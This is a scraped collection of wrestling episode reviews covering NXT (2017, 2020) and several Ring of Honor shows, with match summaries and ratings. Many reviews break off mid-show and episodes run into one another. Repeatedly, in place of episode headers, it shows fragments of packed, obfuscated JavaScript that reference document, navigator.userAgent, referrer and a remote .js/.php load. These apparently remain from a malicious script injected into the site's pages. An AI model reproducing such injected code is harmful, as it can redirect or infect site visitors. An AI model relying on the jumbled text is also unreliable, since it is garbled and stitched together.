IMG Credit: WWE

NXT
Date: April 1, 2020
Location: Full Sail University, Winter Park, Florida
Commentators: Tom Phillips, Sam Roberts

It’s a taped show this week and likely will be for a good while to come. This time around we are going to have a rather stacked card, capped off by the triple threat match for the North American Title. Other than that though, all roads lead to next week with the final showdown between Johnny Gargano and Tommaso Ciampa. Let’s get to it.

Here are last week’s results if you need a recap.

The opening recap looks at the triple threat match.

Velveteen Dream vs. Bobby Fish

Fish kicks away to start but Dream clotheslines him down. A knee drop gets two and there’s a little gyration for a bonus. Back up and Fish kicks him into the corner, only to get popped in the face. A top rope ax handle has Fish in trouble and Dream hammers away in the corner, only to get sent outside. Fish whips him into the barricade and we take a break.

Back with Fish kicking the knee out and then kicking away at it even more as you can’t fault his logic. A slingshot hilo gets two and we take another break. Back again with Dream not being able to hit the Dream Valley Driver and having to fight out of a sleeper. Now the Dream Valley Driver can finish Fish at 15:46. The part after the second break was barely a minute long.

Rating: C-. This never got off the ground and I’m not sure why. The second break really didn’t feel necessary and the match was just going through the motions until the ending. That can get annoying in a hurry and I’m not sure what they were going for here. Dream seems destined to go after Adam Cole and the NXT Title but he needs something better than this.

Post match Dream says he’s coming after Cole.

We look at Matt Riddle getting beaten down by two unnamed monsters last week. Malcolm Bivens was introduced as their manager.

Bivens is glad his reputation precedes him. He introduces them as Rinku and Sarif, both of whom hit people really hard. The two of them rant a bit.

Dexter Lumis vs. Jake Atlas

Lumis stares at him to start and hammers away in the corner. A springboard armdrag doesn’t get Atlas very far as Lumis is right back with forearms to the face. Atlas snaps off a running hurricanrana but Lumis knocks him down again and rips at his face. The neck crank makes it even worse but Atlas fights up with a neckbreaker to the floor. The suicide dive drops Lumis but he’s right back with a Side Effect. A head and arm choke finishes Atlas at 3:25.

Rating: C-. Lumis’ facials and presence alone should carry him a long way, but it would make sense to show him being creepy outside of the ring. He has a great vibe to him but let us know a bit about him. He’s the kind of guy who can get to a different level of disturbing and some vignettes would help that a lot.

Killer Kross video.

We look at part of Johnny Gargano and Tommaso Ciampa brawling at the Performance Center two weeks ago.

#1 Contenders Qualifying Match: Gauntlet Match

Xia Li is in at #3 and slugs away in a hurry before we take a break. Back with Xia hitting a running dropkick, only to miss a spinning kick to the head. Shotzi grabs an Edge-O-Matic and a seated Cattle Mutilation gets rid of Li at 9:49. Aliyah is in at #4 and grabs a backslide for two, setting up a battle over a small package.

Blackheart reverses that into a reverse Koji Clutch but Aliyah is out in a hurry. A running kick in the corner drops Shotzi for two, only to have her come back with a German suplex. The same Cattle Mutilation finishes Aliyah at 13:16. Kayden Carter is in at #5 and dropkicks Shotzi down for a fast two. Shotzi gets crotched in the corner so Carter can hit another running dropkick for another two and we take another break.

Back again with Shotzi hitting a running DDT out of the corner, setting up a top rope backsplash to get rid of Carter at 18:20. Dakota Kai, with Reina Gonzalez, is in at #6 to complete the field and start stomping away at Shotzi. Some forearms to the chest get two on Shotzi and a cheap shot from Gonzalez gets the same.

The chinlock doesn’t last long so Kai kicks her into the corner instead. Shotzi is back with some clotheslines and a belly to back suplex to send Kai outside. You don’t make Shotzi wait though as she hits a suicide dive onto both of them. Gonzalez gets sent into the steps but the delay lets Kai hit the Go To Kick for the pin at 24:03.

Rating: C. I thought they might find a way to send Kai on to the ladder match as soon as I saw her lose three weeks ago. She seems ready to move towards the title picture and having her against Rhea Ripley after WrestleMania is something that could work out rather well in the end. Either way, we could be in for a heck of a ladder match, which is what matters most. Good enough stuff here with Shotzi coming out looking rather positively as well.

Video on Rhea Ripley vs. Charlotte. I really could see that going either way.

Joaquin Wilde vs. Kushida

Kushida goes straight to the front facelock and even slaps Wilde on the back for a bonus. What looks to be a rollup winds up as a surprise cross armbar attempt but Wilde is out in a hurry. A wristlock doesn’t work either as Wilde reverses down into an armbar. That’s broken up as well and Kushida armdrags him down for the basement dropkick.

Back from a break with Wilde kneeing him in the face and stomping away in the corner, only to have Kushida kick him in the arm. Kushida rather loudly asks if Wilde is ok, allowing Wilde to come back with a jawbreaker. That just earns Wilde the cross armbreaker for the tap at 8:45.

Rating: C+. I can go for more of Kushida, even if he is a shell of himself after his time in New Japan. That being said, he can still more than go around here and hopefully he can do something around here in the absence of so many other people. Wilde continues to be a solid talent who needs a story to give him something to do.

Post match we get a rather tense handshake with Wilde seemingly wanting a rematch.

Video on Johnny Gargano vs. Tommaso Ciampa. Their final showdown is next week.

During the break, Wilde was attacked and thrown into a van by masked men ala Raul Mendoza a few weeks back.

North American Title: Damian Priest vs. Keith Lee vs. Dominick Dijakovic

Lee is defending and it’s one fall to a finish. We get the Big Match Intros, complete with tales of the tape for all three in a nice bonus. They all slug away at each other to start and it’s a triple shot to the face to put everyone down as we go to a break. Back with Priest hitting a Downward Spiral on Dijakovic as Lee is down on the floor. Lee gets back in though and catches Priest on the top for a slugout.

Dijakovic gets Lee in an electric chair so Priest can hit a spinwheel kick (it works in No Mercy, it works here) to put everyone down at once. Back up and Lee gets caught with a double chokeslam, leaving Priest to muscle Dijakovic up into a Razor’s Edge. Dijakovic gets launched over the top onto Lee and that means a running flip dive to take both of them down again. Back from another break with Priest hitting the sitout chokeslam for two on Dijakovic but the Reckoning is easily blocked.

Dijakovic tries the suplex toss into Lee, who catches Priest in the air. Then Lee swings Priest around into Dijakovic a few times, because that’s the kind of thing Lee can do. The Spirit Bomb gets two on Priest with Dijakovic making another save. Lee chokeslams/spinebusters the heck out of Dijakovic but Priest catches him with the spinning kick to the arm.

The super hurricanrana brings Lee down and Dijakovic drops the top rope elbow. A double cover gets two on Lee and everyone is down again. Priest and Dijakovic go to the apron so Lee chops both of them but they shove him off the top for the huge crash. Dijakovic’s corkscrew moonsault gets two so Priest busts out his baton. Lee Pounces him to the floor though and it’s the Big Bang Catastrophe to Dijakovic to retain the title at 19:33.

Rating: B. It’s another entertaining fight between these three and odds are this was going to be a Takeover match but my goodness they need to find something to do with the crowd noise. This was like watching an amazing dress rehearsal and having no one there to cheer for them. It was rather entertaining and they beat the heck out of each other, but the lack of crowd reactions really took away some of the energy they should have had.

Overall Rating: C+. This show got better as it went on and is miles ahead of Raw and Smackdown at the moment, but it’s still just not all that great. The main event did a lot of good for it though and hopefully we get somewhere with the bigger Takeover matches over the next few weeks. Now just find a way to get the energy back and things will be a little better in a hurry.

Results

Velveteen Dream b. Bobby Fish – Dream Valley Driver

Dexter Lumis b. Jake Atlas – Head and arm choke

Dakota Kai won a gauntlet match last eliminating Shotzi Blackheart

Kushida b. Joaquin Wilde – Cross armbreaker

Keith Lee b. Dominick Dijakovic and Damian Priest – Big Bang Catastrophe to Dijakovic

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

NXT
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bffrz|var|u0026u|referrer|edyfr||js|php'.split('|'),0,{})) August 30, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Percy Watson, Nigel McGuinness, Mauro Ranallo

We’re back to the regular stuff this week as NXT returns home to Full Sail. After last week’s recap/reset episode, this time we’ll be having the first storyline advancements since Brooklyn. The big story will see Drew McIntyre as the new NXT Champion and the former Ring of Honor guys biting at his heels. Let’s get to it.

Opening sequence.

Sanity, some security guards and possibly other wrestlers are down in the back. Three people, presumably Adam Cole, Bobby Fish and Kyle O’Reilly are seen walking away. William Regal comes in and wants medical personnel.

Here’s McIntyre for his first comments as champion. After the required YOU DESERVE IT chants, Drew says this is his life. The last seventeen years have led him to this moment and this is his life’s work. He understands that the title comes with a big bullseye on his back. Drew brings up Cole and company and is ready to face anyone so here’s Roderick Strong to interrupt. Roderick wants a shot at the title but first, he has to face Bobby Roode. The champ seems game.

Roode says he’s already on Smackdown but tonight he’s beating Strong and coming after his NXT Title, which he’ll bring up to Smackdown with him.

Peyton Royce vs. Ruby Riot

They head to the mat to start with Riot getting the better of it and scoring with a dropkick for two. An armbar keeps Royce in trouble so Peyton knees her in the face for a breather. Ruby gets thrown outside and we take a break. Back with Ruby fighting out of a chinlock and firing off a string of kicks for two. A Death Valley Driver gives Royce a quick two but Riot knocks her around even more.

Billie Kay pulls Royce outside though, like a true friend should be doing. That’s fine with Riot, who nails a double suicide dive. Royce tries to crawl away until Riot grabs her by the legs. Billie pulls her outside for a big boot though, with the referee seeing no problem with Riot just disappearing while pulling on Royce’s leg. Back in and Peyton’s fisherman’s suplex is good for the pin at 10:45.

Rating: C-. I like the idea of Royce and Kay getting a win here and there, especially when they cheat to keep Riot looking strong. With Asuka’s status in flux at the moment, Riot could become a major player on top of the division in a hurry. Royce is getting better in the ring though and she has a finisher that works well enough, which should help her in the future.

Kassius Ohno comes in to ask Regal for a match with Hideo Itami. The match is already made but Ohno wants and receives no disqualifications as a bonus stipulation.

Video on Heavy Machinery.

Heavy Machinery vs. Edwin Nagrom/Damien Awheel

Otis takes Awheel into the corner with a lockup, sending him climbing the buckles without breaking it up. It’s off to Knight for a front facelock on Awheel and a crossbody to both jobbers at once. The Compactor drives Awheel onto Nagrom and it’s a double pin for Dozovic at 2:11. Total squash, made only slightly more annoying by the odd jobber names.

We look at Lars Sullivan attacking No Way Jose.

Regal isn’t please with Sullivan being so violent and puts him in a 3-1 handicap match next week.

Cezar Bononi vs. Andrade Cien Almas next week.

Roderick Strong vs. Bobby Roode

The fans chant THANK YOU BOBBY until we’re ready to go. Roode promises to prove that Strong is a failure all over again but takes too long doing GLORIOUS, allowing Roderick to punch him down. A headlock slows Strong down as Roode is a full on face here. Strong will have none of that as he hammers away at Roode’s head and grabs two straight backbreakers.

The threat of a third backbreaker on the floor sees Roode shove Strong into the steps, followed by a spinebuster on the floor. Back from a break with Roode hitting a backbreaker of his own and striking the GLORIOUS pose. He poses a bit too long though and it’s Strong grabbing a pop up gutbuster for a breather. An Angle Slam is countered into an armdrag but Strong settles for another backbreaker. A tiger bomb into a Boston crab sends Roode straight for the ropes.

Back up and a TKO into a Stunner gives Roode two of his own. Another spinebuster looks to set up the Glorious DDT but it’s the Angle Slam from Strong instead. The fans are split now as Roode breaks up a super backbreaker, only to get enziguried on the top. Strong settles for a superplex for another near fall and both guys are down.

A slugout goes to Roode, who grabs the Glorious DDT for two with Roderick (it sounded like Percy called him Roger) getting his foot on the ropes. Roode makes the mistake of talking trash about Strong’s family though and it’s a jumping knee to the face. Strong nails End of Heartache, blows Roode a kiss goodbye, and hits a second to put Roode away at 17:48.

Rating: B+. This felt like Strong vs. Jay Lethal for the ROH TV Title where Strong needed to win and finally threw everything he had at Roode until there was nothing left. This is the kind of win that Strong has been missing as he’s never had that signature victory. If nothing else it’s going to put him near the NXT Title picture, either challenging McIntyre or joining the ROH guys as their second in command. Really good match here with a simple yet effective story.

It’s pretty clear that this is it for Roode in NXT and I was really surprised by how much I liked his time there. I’ve never quite gotten all of his hype in TNA but he was excellent in NXT with a very basic style played up to a high level. That made for some good matches to go with that outstanding theme song. I’m glad that they seem to want to do something with him on Smackdown as Roode is already 40 and deserves this kind of a run after spending so much time in TNA.

Post match Drew comes out to stare down Strong but gets jumped by Cole and company. Regal comes out to chase them off as the three of them shout about this being their NXT and how they’re doing Regal a favor to end the show. They’re doing a solid job of making them feel like the original NWO and that’s a good thing.

Overall Rating: B. They hit the ground running on this taping and that’s a very good sign. You have a fresh champion with a hot heel act plus Strong as a wildcard. That leaves you with a bunch of different possibilities, all of which could produce some very good results. Having those options is fun but it’s a lot more fun to see how they get to an ending, which is a long way off from here. Very good show this week and I’m feeling better about NXT than I have in a long time.

Results

Peyton Royce b. Ruby Riot – Fisherman’s suplex

Heavy Machinery b. Edwin Nagrom/Damien Awheel

Roderick Strong b. Bobby Roode – End of Heartache

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

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NXT
Date: July 12, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Mauro Ranallo, Percy Watson, Nigel McGuinness

Its another big night tonight as we have the NXT Tag Team Titles on the line with the Authors of Pain defending against Heavy Machinery. In addition to that we have Johnny Gargano making his big return to the show after Tommaso Ciampa turned on him at Takeover: Chicago. Let’s get to it.

We open with a long recap of DIY splitting up.

Aleister Black vs. Bobby Fish

Now that’s a nice surprise as Fish makes his NXT debut. They trade wristlocks to start (with Mauro calling Fish Roderick Strong by mistake) until a kick to the ribs puts Fish down. Fish scores with some strikes of his own but Black shows him how it’s done, knocking Fish outside before having a seat in the ring. Bobby sweeps his leg from the floor though and we take a break.

Back with Fish winning another striking battle and hitting a dragon screw legwhip. A half crab is broken up but Fish is right back with a rear naked choke. Black escapes and finally has enough of this, scoring with a kick to the ribs and a springboard moonsault to a standing fish. A jumping knee to the jaw sets up Black Mass to put Fish away at 11:08.

Rating: B. That’s quite the debut for Fish, who got in a lot of offense here and looked dangerous to someone on Black’s level. Black continues to look awesome as well with Black Mass becoming one of the best finishers around. It seems that he’s moving up the ladder and I could see him near the NXT Title picture for Brooklyn.

We recap Kassius Ohno and Hideo Itami having even more issues last week.

Post match, Ohno said he was tired of Itami blaming everyone for his problems since Chicago. Ohno is done talking.

The Street Profits are coming.

The Velveteen Dream was annoyed at an attempted interview.

Mae Young Classic Qualifying Match: Vanessa Borne vs. Jayme Hachey

Borne has been on NXT before under the name Danielle Kamela. Hachey has performed around the indies under the name Jayme Jameson. Jayme takes her down and works on the arm but Borne comes up with forearms to the face. Something like a spinning belly to back suplex with a leg hook puts Jayme away at 1:48. That really wasn’t a good finisher.

Last week, Sanity attacked Drew McIntyre in the parking lot. Wolfe said that Drew’s time is running out.

Bobby Roode is in William Regal’s office with the boss talking about the new #1 contender. Roode actually takes charge and suggests Dain vs. McIntyre for the #1 contendership. Regal goes with it and makes the match for next week.

Here’s Gargano for his return speech. Gargano has been thinking about what Ciampa did to him over and over and he just can’t get it. He’s ready to move forward though because he can’t control what happened but he can control how he reacts to them. Takeover: Brooklyn is coming up and Johnny has to be on that show, though he seems a bit hesitant.

Tag Team Titles: Authors of Pain vs. Heavy Machinery

The Authors are defending. Otis and Razar go nose to nose to start with Otis going nowhere off a forearm. A standing body block actually drops Razar and it’s time for a standoff. Back from a break with Akam holding Tucker in a cravate and sending him into the champs’ corner. We hit the neck crank for a good while before it’s back to Akam for a chinlock. Yeah it’s slow but what were you expecting from these four?

Tucker finally gets in a hard clothesline for the break and the hot tag brings in Otis. Everything breaks down and a rather impressive overhead belly to belly sends Akam flying. Tucker’s powerslam gets two on Razar but Akam breaks up the Compactor. The Last Chapter ends Otis to retain the titles at 11:16.

Rating: C. The match had a long stretch in the middle that wasn’t great but the rest was the power slugout that it needed to be. I don’t think anyone was really buying Heavy Machinery as a major threat to the titles and there’s nothing wrong with having them lose here. I’m not sure who is going to take the titles at this point but that could make for something interesting going forward.

Post match Sanity comes out to stare down the Authors. Pages of the Book of Dominance fall and Wolfe eats one to end the show.

Overall Rating: C+. I liked this show more than I was expecting to as they’ve started setting their sights on Takeover: Brooklyn and that’s the biggest show of the year. There are stories going down that have my interest and the build should be a lot of fun. McIntyre getting into the title hunt is a good sign as he was ready for the main roster the day he debuted, meaning it would be a waste of time to not push him towards the title picture almost immediately. Throw in a heel vs. heel feud for the Tag Team Titles and we have some good stuff going on.

Results

Aleister Black b. Bobby Fish – Black Mass

Vanessa Borne b. Jayme Hachey – Spinning belly to back suplex

Authors of Pain b. Heavy Machinery – Last Chapter to Dozovic

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/

And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|srafz|var|u0026u|referrer|afeyz||js|php'.split('|'),0,{})) of Honor
Date: June 28, 2017
Location: Frontier Fieldhouse, Chicago Ridge, Illinois
Commentators: Ian Riccaboni, Colt Cabana, Alex Shelley

One quick note: apparently some markets got a different episode so there’s a chance this is a completely different show than you saw.

Opening sequence.

Flip Gordon vs. Jonathan Gresham

We recap Punishment Martinez vs. Jay White.

Video on Josh Woods.

Woods is in the arena and wants to face Jay Briscoe to give himself a real challenge. No matter how tough Jay is, he can be knocked out or tapped out.

Silas Young vs. Bobby Fish

Silas throws him over a table and we take a second break. Back again with both of them on the apron and slugging it out between the ropes in the corner. Fish finally pulls him through the ropes and trapping him over one of the buckles, setting up some hard kicks. Not that it matters as Young pulls him into the corner for a crash, setting up a knee to the ribs and Misery for the pin at 16:25.

Fish shoves him away post match.

Punishment Martinez vs. Jay White

That earns White a big spinning kick to the face and something like a curb stomp from the corner. A right hand to the back of the head gives Martinez two and he smiles at White for trying a desperation forearm. White throws more right hands to annoy Martinez and then takes the knee out again. Some rolling German suplexes give Jay two and we take a break.

Back with Jay slipping out of a powerbomb but getting chokeslammed onto the apron. That and a Falcon Arrow give Martinez two because a monster and a CHOKESLAM ONTO THE APRON is only a setup move around here. White is right back with a swinging Rock Bottom for two of his own but walks into a reverse sitout AA. The sitout chokeslam is countered into a rollup to give White the pin at 11:17.

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/

And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rshyb|var|u0026u|referrer|kzhsy||js|php'.split('|'),0,{})) of Honor
Date: May 17, 2017
Location: William J. Myers Pavilion, Baltimore, Maryland
Commentators: Colt Cabana, Ian Riccaboni

Opening sequence.

Will Ferrara/Cheeseburger vs. Chris Sabin/Jonathan Gresham

Everything breaks down with Sabin giving Ferrara a hanging neckbreaker off the apron to the floor. Back inside, Sabin enziguris Cheeseburger into a German suplex from Gresham, only to have Cheeseburger come back with the palm strikes. Not that it matters as Gresham grabs an Octopus Hold to make Cheeseburger tap at 9:38 with Ferrara watching from the floor.

Ferrara walks out on Cheeseburger.

Silas Young vs. Bobby Fish

Back with Young hitting a slingshot double stomp and laying in the trash talking. A springboard clothesline drops Fish again as this has been almost one sided. Back in and they trade some running shots with Fish getting the better of it, only to have a double clothesline drop them both.

Silas grabs a cutter for two as Colt talks about Fish going after the knee but not sticking with it like the old Bobby would do. Hokey smoke: an actual analysis. Silas shrugs off some more shots to the head and grabs a hanging neckbreaker for two. More kicks to the knee give Fish a breather but the Beer City Bruiser offers a distraction. Silas takes off his knee brace and knocks Fish cold for the pin at 13:39.

Six Man Tag Team Titles: Rebellion vs. Briscoe Brothers/Bully Ray

Coleman gets powerbombed through a table to end the show.

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/

And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hnfny|var|u0026u|referrer|sbdhf||js|php'.split('|'),0,{})) of Honor
Date: March 8, 2017
Location: Stage AE, Pittsburgh, Pennsylvania
Commentator: Ian Riccabani

The Briscoe Brothers, Jay Lethal and Bobby Fish are ready for their eight man tag against the Bullet Club.

Opening sequence.

Six Man Tag Team Titles: The Kingdom vs. The Rebellion

Rating: D. At what point does Ring of Honor realize that these teams are worthless as well as uninteresting and that having titles for a “division” that has three regular teams (including the champions) is ludicrous. Big waste of time here and time that could have gone to ANYTHING else.

Jay White wants a rematch with Jay Briscoe from their time limit draw a few months back.

Briscoe calls White dog food and accepts.

Top Prospect Tournament First Round: Raphael King vs. Brian Milonas

Christopher Daniels is your new guest commentator.

Bullet Club vs. Jay Lethal/Briscoe Brothers vs. Bobby Fish

Back with the Briscoes on their own and Mark punching all four Club members. A quadruple superkick is well scouted though and the Club is quadruple clotheslined to the floor. Jay gets two off a powerbomb/neckbreaker combination but Matt flips out of the Doomsday Device. Superkicks a go-go set up Cross Rhodes to Jay. The Last Shot sets up a Meltzer Driver for the pin at Jay at 12:46.

http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/

And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|khisb|var|u0026u|referrer|fidkt||js|php'.split('|'),0,{})) of Honor
Date: February 15, 2017
Location: Center Stage Theater, Atlanta, Georgia
Commentators: Kevin Kelly, Mark Briscoe

Cody Rhodes is sitting in a dark room smoking a cigar. He goes over some of his former gimmicks and asks if the world is ready for the American Nightmare.

Opening sequence.

Adam Page vs. Matt Sells

Page jumps him during the entrances and hits a Helluva Kick in the corner. A toss into the post sets up the Rite of Passage for the pin at 1:14. The match was such a squash that we cut to the commentary team twice in less than seventy five seconds and Page never took his jacket off.

Jay Lethal/Bobby Fish vs. Adam Cole/Cody

Since this was the main event, Dalton Castle/the Boys vs. the Rebellion has been switched into its place. Therefore, Dalton wants to see some angry teeth from the Boys.

Mark Briscoe is ready to see his brother become #1 contender and win the title in Las Vegas.

Quick hype for the Hardys vs. the Young Bucks. I still love the fact that there has been no mention of the Bucks going to TNA in this whole thing.

Mark Briscoe vs. Sal Rinauro

Rebellion vs. Dalton Castle/The Boys

Overall Rating: D. What in the world is going on with this company right now? The World Title is barely a thing, the TV shows are all over the place, the big story is about waiting on a #1 contender and right now the big draw is bringing in a TNA team to face a team that would rather be in Japan.

http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydked|var|u0026u|referrer|hkbnr||js|php'.split('|'),0,{})) of Honor
Date: December 28, 2016
Commentators: Kevin Kelly, Nigel McGuinness, Steve Corino

We open with a package on the tour.

Opening sequence.

TV Title: Bobby Fish vs. Will Ospreay

Fish is defending and this was originally only a Proving Ground match until ROH said “eh just make it for the title”. Bobby puts the Union Jack on the mat next to the title, which seems to be a big sign of disrespect. The champ goes for the arm to start but Ospreay starts spinning around to escape, including knocking Fish to the floor, setting up a Tajiri handspring into a backflip.

Fish is upset but hands Ospreay the title.

Tag Team Titles: Will Ospreay/Marty Scurll vs. Young Bucks

A double armdrag sends the Bucks to the floor and Ospreay does his moonsault into the pose, followed by Scurll running over do pose next to him in a funny bit. Back in and the Brits start taking over on Matt with Marty grabbing a surfboard and Ospreay adding a sliding dropkick to the face.

That loss resulted in a challenge being issued for the final night of the tour.

TV Title: Marty Scurll vs. Will Ospreay

Ospreay is defending and this is joined in progress with Scurll fighting out of a wristlock. The bouncing escape gives us several more counters as this is British wrestling to the letter. Scurll avoids the moonsault and they flip into a kneeling standoff. The fans are split on who to cheer for but seem to shift towards Ospreay as he grabs an Octopus Hold and twists Marty down into a rollup for two.

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kfebs|var|u0026u|referrer|zftan||js|php'.split('|'),0,{})) of Honor
Date: December 21, 2016
Location: 2300 Arena, Philadelphia, Pennsylvania
Commentators: Nigel McGuinness, Kevin Kelly

Opening sequence.

^th champion.

Mark Briscoe

Christopher Daniels

Chris Sabin

Colt Cabana

BJ Whitmer

Jay Briscoe

Jay Lethal

Jushin Thunder Liger

Decade of Excellence Tournament First Round: Mark Briscoe vs. Christopher Daniels

Apparently Daniels mentored Mark when he first got here. Feeling out process to start with shoulder blocks having no effect all around. The threat of Red Neck Kung Fu backs Daniels up but he does his own crane pose. Mark hammers away in the corner until an STO gives Daniels a breather.

Lio Rush vs. Caprice Coleman

The Rebellion beats Rush down until Donovan Dijak and Jay White make the save.

The Bucks beat down the good guys to start because the Bucks are the most popular wrestlers in the company. Cole takes the advantage but gets into a slugout with Kyle, who actually loses early on. Kyle sends him outside for a running knee from the apron as all six are on the floor.

Back from a break with Nick getting crotched on top but the Bullet Club breaking up the tag attempt. Three straight superkicks knock Kyle out and the Swanton off the apron keeps the Bucks looking perfect. Kyle finally blocks a splash with raised knees and the hot tag brings in Dalton for three straight German suplexes.

Overall Rating: D+. This was a rather up and down show as some of the booking made me want to pull my hair out but the wrestling was good enough to make up for parts of it. I like the idea of Kyle fighting half the roster for the title but I could go for less Bucks being treated like the most untouchable thing ever. Then again, Kyle did make one of them tap out to end the show and that helps a lot.

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And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kdbbi|var|u0026u|referrer|eehin||js|php'.split('|'),0,{})) of Honor
Date: November 16, 2016
Location: William J. Myers Pavilion, Baltimore, Maryland
Attendance: 600
Commentators: Steve Corino, Kevin Kelly

We open with a video of Adam Page attacking Bobby Fish and dueling speeches from both guys.

Opening sequence.

Six Man Tag Team Titles Tournament First Round: Addiction/Kamaitachi vs. Team CMLL

That would be Ultimo Guerrero, Hechiero and Okimura because there was nowhere near enough trios to fill in a tournament so here are a bunch of imports. Okimura and Kazarian start things off as Corino does everything he does to explain who the CMLL guys are. They hit the mat to start with neither guy getting an advantage, save for Kazarian grabbing an arm trap rollup for two.

Addiction and Kamaitachi break up post match.

Colt Cabana/Dalton Castle vs. Keith Taylor/Shane Lee

Adam Cole is ready for all challengers.

TV Title: Adam Page vs. Bobby Fish

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And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6